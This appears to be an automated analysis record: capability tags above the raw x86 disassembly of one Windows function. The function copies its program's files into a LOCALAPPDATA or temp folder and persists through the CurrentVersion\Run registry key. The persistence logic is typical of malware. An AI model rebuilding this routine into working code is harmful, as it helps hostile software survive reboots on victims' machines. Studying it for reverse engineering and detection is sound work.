Function at 0x46f770
Capabilities:
Check if file exists
Create directory
Enumerate files on windows
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57413e
mov eax, dword fs:[0]
push eax
sub esp, 0x910
mov eax, dword [0x5ebea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x914], edx
mov esi, ecx
push 0x5f2e18
lea eax, [ebp - 0x628]
push 0x104
push eax
call fcn.00552c06
add esp, 0xc
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
push 0x5f2e18
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.00552c06
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
xor eax, eax
mov dword [ebp - 0x6a8], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x6a4], 7
mov word [ebp - 0x6b8], ax
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46f820
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x6b8]
call fcn.0044a910
push 2
push 0x5de744
lea ecx, [ebp - 0x6b8]
mov dword [ebp - 4], 0
call fcn.00451c60
xor eax, eax
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x62c], 7
mov word [ebp - 0x640], ax
mov byte [ebp - 4], 1
cmp byte [0x5f30a0], al
jne 0x46f93c
push str.LOCALAPPDATA
call fcn.00551fb6
mov edx, eax
add esp, 4
lea edi, [edx + 2]
nop word [eax + eax]
mov cx, word [edx]
add edx, 2
test cx, cx
jne 0x46f8a0
sub edx, edi
lea ecx, [ebp - 0x640]
sar edx, 1
push edx
push eax
call fcn.0044a910
push 1
push 0x5d8ea4
lea ecx, [ebp - 0x640]
call fcn.00451c60
lea ecx, [ebp - 0x658]
call fcn.0046ee30
mov byte [ebp - 4], 2
cmp dword [eax + 0x14], 8
mov ecx, dword [eax + 0x10]
jb 0x46f8e8
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x640]
call fcn.00451c60
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x644]
cmp edx, 8
jb 0x46f9d7
mov ecx, dword [ebp - 0x658]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46f9cd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x470109
jmp 0x46f9cd
push str.SYSTEMDRIVE
call fcn.00551fb6
mov edx, eax
mov dword [ebp - 0x648], 0
mov ecx, edx
mov dword [ebp - 0x644], 7
add esp, 4
xor eax, eax
mov word [ebp - 0x658], ax
lea edi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46f970
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x658]
call fcn.0044a910
push 5
push str._temp
lea ecx, [ebp - 0x658]
mov byte [ebp - 4], 3
call fcn.00451c60
cmp dword [ebp - 0x644], 8
lea eax, [ebp - 0x658]
push dword [ebp - 0x648]
cmovae eax, dword [ebp - 0x658]
lea ecx, [ebp - 0x640]
push eax
call fcn.0044a910
jmp 0x46f8f5
push edx
push ecx
call fcn.0052f5d6
add esp, 8
cmp dword [ebp - 0x62c], 8
lea eax, [ebp - 0x640]
cmovae eax, dword [ebp - 0x640]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.00553307
add esp, 8
test eax, eax
jne 0x46fa06
xor bl, bl
jmp 0x470052
cmp dword [ebp - 0x62c], 8
lea eax, [ebp - 0x640]
push 0
cmovae eax, dword [ebp - 0x640]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp dword [ebp - 0x62c], 8
lea ecx, [ebp - 0x640]
cmovae ecx, dword [ebp - 0x640]
call fcn.0046a1a0
lea eax, [ebp - 0x640]
cmp esi, eax
je 0x46fa62
cmp dword [ebp - 0x62c], 8
mov ecx, esi
push dword [ebp - 0x630]
cmovae eax, dword [ebp - 0x640]
push eax
call fcn.0044a910
push 1
push 0x5d8ea4
mov ecx, esi
call fcn.00451c60
push 0x5ecaa0
lea ecx, [ebp - 0x6a0]
call fcn.0044c140
mov byte [ebp - 4], 4
lea eax, [ebp - 0x6a0]
cmp dword [ebp - 0x68c], 8
mov ecx, esi
push dword [ebp - 0x690]
cmovae eax, dword [ebp - 0x6a0]
push eax
call fcn.00451c60
cmp dword [ebp - 0x6a4], 8
lea ecx, [ebp - 0x908]
lea eax, [ebp - 0x6b8]
cmovae eax, dword [ebp - 0x6b8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x910], eax
cmp eax, 0xffffffff
jne 0x46fada
xor bl, bl
jmp 0x46fff5
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpW]
mov edi, dword [ebp - 0x910]
nop word [eax + eax]
push 0x5d84f0
lea eax, [ebp - 0x8dc]
push eax
call ebx
test eax, eax
je 0x46fde4
push 0x5ddd0c
lea eax, [ebp - 0x8dc]
push eax
call ebx
test eax, eax
je 0x46fde4
test dword [ebp - 0x908], 0x410
jne 0x46fde4
sub esp, 0x18
lea ecx, [ebp - 0x8dc]
mov edx, esp
mov dword [ebp - 0x918], esp
xor eax, eax
lea edi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46fb53
sub ecx, edi
lea eax, [ebp - 0x8dc]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0044a910
sub esp, 0x18
mov byte [ebp - 4], 5
mov edx, esp
lea ecx, [ebp - 0x218]
xor eax, eax
lea edi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46fb96
sub ecx, edi
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0044a910
lea ecx, [ebp - 0x658]
mov byte [ebp - 4], 4
call fcn.0046a8b0
add esp, 0x18
mov byte [ebp - 4], 6
mov edx, esp
mov dword [ebp - 0x91c], esp
xor eax, eax
lea ecx, [ebp - 0x8dc]
lea edi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46fbf0
sub ecx, edi
lea eax, [ebp - 0x8dc]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0044a910
sub esp, 0x18
mov byte [ebp - 4], 7
lea eax, [ebp - 0x640]
mov ecx, esp
push eax
call fcn.0044c140
lea ecx, [ebp - 0x670]
mov byte [ebp - 4], 6
call fcn.0046a8b0
lea eax, [ebp - 0x628]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x8dc]
push eax
call fcn.00553307
add esp, 0x38
test eax, eax
jne 0x46fc73
lea eax, [ebp - 0x670]
cmp eax, esi
je 0x46fc73
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x46fc64
mov eax, dword [esi]
push dword [esi + 0x10]
lea ecx, [ebp - 0x670]
push eax
call fcn.0044a910
cmp dword [ebp - 0x65c], 8
lea edx, [ebp - 0x670]
lea ecx, [ebp - 0x658]
cmovae edx, dword [ebp - 0x670]
cmp dword [ebp - 0x644], 8
push 0
cmovae ecx, dword [ebp - 0x658]
call fcn.0045b640
add esp, 4
test eax, eax
je 0x46fce2
cmp dword [ebp - 0x65c], 8
lea ecx, [ebp - 0x670]
lea eax, [ebp - 0x658]
cmovae ecx, dword [ebp - 0x670]
cmp dword [ebp - 0x644], 8
push ecx
cmovae eax, dword [ebp - 0x658]
push eax
push str.___OK_Copy:__s____s
call fcn.00463ab0
add esp, 0xc
jmp 0x46fd20
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x65c], 8
lea edx, [ebp - 0x670]
push eax
cmovae edx, dword [ebp - 0x670]
lea ecx, [ebp - 0x658]
cmp dword [ebp - 0x644], 8
push edx
cmovae ecx, dword [ebp - 0x658]
push ecx
push str.____Failed__Copy:__s____s._Code__lu.
call fcn.00463ab0
add esp, 0x10
cmp dword [ebp - 0x65c], 8
lea ecx, [ebp - 0x670]
cmovae ecx, dword [ebp - 0x670]
call fcn.0045b500
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x65c]
cmp edx, 8
jb 0x46fd7d
mov ecx, dword [ebp - 0x670]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46fd73
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x470109
push edx
push ecx
call fcn.0052f5d6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x644]
mov dword [ebp - 0x660], 0
mov dword [ebp - 0x65c], 7
mov word [ebp - 0x670], ax
cmp edx, 8
jb 0x46fdde
mov ecx, dword [ebp - 0x658]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46fdd4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x470109
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov edi, dword [ebp - 0x910]
lea eax, [ebp - 0x908]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x46faf0
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp - 0x62c], 8
lea ecx, [ebp - 0x640]
cmovae ecx, dword [ebp - 0x640]
call fcn.0045b500
mov edx, str..exe
lea ecx, [ebp - 0x218]
call fcn.00476970
mov edx, str..ini
lea ecx, [ebp - 0x218]
call fcn.00476970
push 0x208
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.005471b0
cmp dword [ebp - 0x68c], 8
lea eax, [ebp - 0x6a0]
cmovae eax, dword [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x420]
push 0x104
push eax
call fcn.00552c06
add esp, 0x18
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push 1
xor eax, eax
mov dword [ebp - 0x678], 0
push 0x5d9f40
lea ecx, [ebp - 0x688]
mov dword [ebp - 0x674], 7
mov word [ebp - 0x688], ax
call fcn.0044a910
mov byte [ebp - 4], 9
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x46fec0
mov eax, dword [esi]
push dword [esi + 0x10]
lea ecx, [ebp - 0x688]
push eax
call fcn.00451c60
push 2
push 0x5d9f44
lea ecx, [ebp - 0x688]
call fcn.00451c60
mov edi, dword [ebp - 0x914]
mov ecx, edi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46fef0
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea ecx, [ebp - 0x688]
call fcn.00451c60
mov eax, dword [ebp - 0x678]
push 0
lea edi, [eax + eax]
lea eax, [ebp - 0x90c]
push eax
push 0
push 0x20106
push 0
xor eax, eax
cmp byte [0x5f29f3], al
push 0
push 0
setne al
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x46ff84
cmp dword [ebp - 0x674], 8
lea eax, [ebp - 0x688]
push edi
cmovae eax, dword [ebp - 0x688]
push eax
push 1
push 0
lea eax, [ebp - 0x420]
push eax
push dword [ebp - 0x90c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x90c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [esi + 0x14], 8
jb 0x46ff8c
mov esi, dword [esi]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov edx, dword [ebp - 0x674]
test eax, eax
setne bl
cmp edx, 8
jb 0x46ffd8
mov ecx, dword [ebp - 0x688]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46ffce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x470109
push edx
push ecx
call fcn.0052f5d6
add esp, 8
xor eax, eax
mov dword [ebp - 0x678], 0
mov dword [ebp - 0x674], 7
mov word [ebp - 0x688], ax
mov edx, dword [ebp - 0x68c]
cmp edx, 8
jb 0x470035
mov ecx, dword [ebp - 0x6a0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x47002b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x470109
push edx
push ecx
call fcn.0052f5d6
add esp, 8
xor eax, eax
mov dword [ebp - 0x690], 0
mov dword [ebp - 0x68c], 7
mov word [ebp - 0x6a0], ax
mov edx, dword [ebp - 0x62c]
cmp edx, 8
jb 0x470092
mov ecx, dword [ebp - 0x640]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x470088
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x470109
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov edx, dword [ebp - 0x6a4]
xor eax, eax
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x62c], 7
mov word [ebp - 0x640], ax
cmp edx, 8
jb 0x4700eb
mov ecx, dword [ebp - 0x6b8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4700e1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x470109
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0052f395
mov esp, ebp
pop ebp
ret
call fcn.0054b071
int3